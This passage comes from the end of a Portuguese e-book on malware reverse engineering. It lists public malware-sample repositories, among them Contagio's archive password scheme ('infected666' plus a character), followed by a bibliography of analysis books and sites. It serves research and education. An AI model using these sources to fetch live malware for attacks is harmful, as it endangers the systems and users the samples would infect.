 Offensive Computing - http://offensivecomputing.net/


O site possui uma base de dados com milhares de amostras de malware. É possível
buscar pelo MD5 e fazer o download, mediante cadastro prévio. Ideal para buscar um
sample quando já temos o MD5 dele.

 Contagio Malware Dump - http://contagiodump.blogspot.com.br/


O blog fornece amostras de malware atuais, coleções de documentos maliciosos,
rootkits, e muito mais. Os arquivos são protegidos por senha, o esquema da senha é
infected666 seguido do último caractere antes da extensão .zip. Então um arquivo
abc.zip terá a senha infected666c.

 Malware.lu – http://malware.lu
Mantido por pesquisadores de segurança, atualmente fornece mais de 5 milhões de
amostras de malware para download. Necessita de registro e explicação do porquê você
deseja acessar o repositório.

 VirusShare - http://virusshare.com/
Mantido por pesquisadores de segurança, atualmente fornece cerca de 8 milhões de
amostras de malware para download. Necessita de registro e explicação do porquê você
Engenharia Reversa e Análise de Malware | 183

deseja acessar o repositório.

 Lista Malwares-Br - http://groups.google.com.br/group/malwares-br?hl=pt-br


Lista de discussão criada por Rodrigo "Sp0oKeR" Montoro. Todos os dias os membros
enviam links de phishings e amostras de malwares brasileiros que muitas vezes ainda
nem possuem assinatura dos antivírus.

 Clean-MX - http://support.clean-mx.com/clean-mx/viruses.php
Rica fonte de URLs maliciosas com informações detalhadas de cada uma. Permite
pesquisa por diversos parâmetros.

Mais informações de locais para coleta de malwares pode ser encontrado no links abaixo:
http://zeltser.com/combating-malicious-software/malware-sample-sources.html
http://contagiodump.blogspot.com.br/2010/11/links-and-resources-for-malware-samples.html
Engenharia Reversa e Análise de Malware | 184

Referências Bibliográficas

Esse trabalho só foi possível graças aos livros e sites que disponibilizam informações
atualizadas para pesquisa de malware. Ressaltando que não há nenhum livro relevante na área em
português, todos são em inglês. Abaixo segue uma lista dos recursos utilizados, no caso dos livros
estão ordenados de acordo com a relevância que tiveram na elaboração desse material.

Livros

Practical Malware Analysis: The Hands-On Guide to Dissecting Malicious Software


Author: Michael Sikorski, Andrew Honig
Publisher: No Starch Press; 1 edition (February 29, 2012)

Malware Analyst's Cookbook and DVD: Tools and Techniques for Fighting Malicious Code
Author: Michael Ligh, Steven Adair, Blake Hartstein, Matthew Richard
Publisher: Wiley; 1 edition (November 2, 2010)

Hacking Exposed: Malware & Rootkits Secrets & Solutions


Author: Michael Davis, Sean Bodmer, Aaron LeMasters
Publisher: McGraw-Hill Osborne Media; 1 edition (September 23, 2009)

Malware Forensics: Investigating and Analyzing Malicious Code


Author: Cameron H. Malin, Eoghan Casey, James M. Aquilina
Publisher: Syngress; 1 edition (June 30, 2008)

Reversing: Secrets of Reverse Engineering


Author: Eldad Eilam
Publisher: Wiley; 1 edition (April 15, 2005)
Engenharia Reversa e Análise de Malware | 185

Gray Hat Python: Python Programming for Hackers and Reverse Engineers
Author: Justin Seitz
Publisher: No Starch Press; 1 edition (April 30, 2009)

The Rootkit Arsenal: Escape and Evasion in the Dark Corners of the System
Author: Bill Blunden
Publisher: Jones & Bartlett Learning; 2 edition (March 16, 2012)

The Art of Assembly Language


Author: Randall Hyde
Publisher: No Starch Press; Second Edition edition (March 22, 2010)

Gray Hat Hacking The Ethical Hackers Handbook, 3rd Edition


Author: Allen Harper, Shon Harris, Jonathan Ness, Chris Eagle, Gideon Lenkey, Terron Williams
Publisher: McGraw-Hill Osborne Media; 3 edition (January 6, 2011)

The IDA Pro Book: The Unofficial Guide to the World's Most Popular Disassembler
Author: Chris Eagle
Publisher: No Starch Press; Second Edition edition (July 14, 2011)

Sites

6 Free Local Tools for Analyzing Malicious PDF Files


http://blog.zeltser.com/post/5360563894/tools-for-malicious-pdf-analysis

Analyzing Malicious Documents Cheat Sheet by Lenny Zeltser


http://zeltser.com/reverse-malware/analyzing-malicious-documents.html

Analyzing Suspicious PDF Files With PDF Stream Dumper


http://blog.zeltser.com/post/3235995383/pdf-stream-dumper-malicious-file-analysis

CodeMachine - Article - System Call Instructions


http://www.codemachine.com/article_syscall.html

Common WinDbg Commands (Thematically Grouped)


Engenharia Reversa e Análise de Malware | 186

http://windbg.info/doc/1-common-cmds.html

Segurança Remota
http://www.segurancaremota.com.br
Free Malicious PDF Analysis E-book « Didier Stevens
http://blog.didierstevens.com/2010/09/26/free-malicious-pdf-analysis-e-book/

Into the Darkness: Dissecting Targeted Attacks | Qualys Security Labs


https://community.qualys.com/blogs/securitylabs/2011/11/30/dissecting-targeted-attacks

just do IT: standalone windbg v6.12.0002.633


http://rxwen.blogspot.com.br/2010/04/standalone-windbg-v6120002633.html

KrebsonSecurity
http://krebsonsecurity.com

Linha Defensiva
http://www.linhadefensiva.org

MSDN Library
http://msdn.microsoft.com/en-us/library/ms123401.aspx

Neil's Computer Blog: VirtualBox kernel debugging


http://neilscomputerblog.blogspot.com.br/2011/05/vitualbox-kernel-debugging.html

OpenRCE.org
http://www.openrce.org/articles/

Portable Executable File Format - A Reverse Engineer View


http://tuts4you.com/download.php?view.2974

Registry Hives
http://msdn.microsoft.com/en-us/library/windows/desktop/ms724877(v=vs.85).aspx

Reverse Engineering
Engenharia Reversa e Análise de Malware | 187

http://www.reddit.com/r/ReverseEngineering/

Reverse-Engineering Malware Cheat Sheet by Lenny Zeltser


http://zeltser.com/reverse-malware/reverse-malware-cheat-sheet.html

Rogunix[dot]com
http://rogunix.com/docs/Reversing&Exploiting/

SecureList
http://www.securelist.com

Step-by-Step Reverse Engineering Malware: ZeroAccess / Max++ / Smiscer Crimeware Rootkit


http://resources.infosecinstitute.com/step-by-step-tutorial-on-reverse-engineering-malware-the-
zeroaccessmaxsmiscer-crimeware-rootkit/

The PE file format


http://webster.cs.ucr.edu/Page_TechDocs/pe.txt

Tuts4You
http://tuts4you.com

Volatility Memory Forensics | Federal Trojan aka R2D2 | Evild3ad


http://www.evild3ad.com/?p=1136

WinDbg
http://www.windbg.org/

Você também pode gostar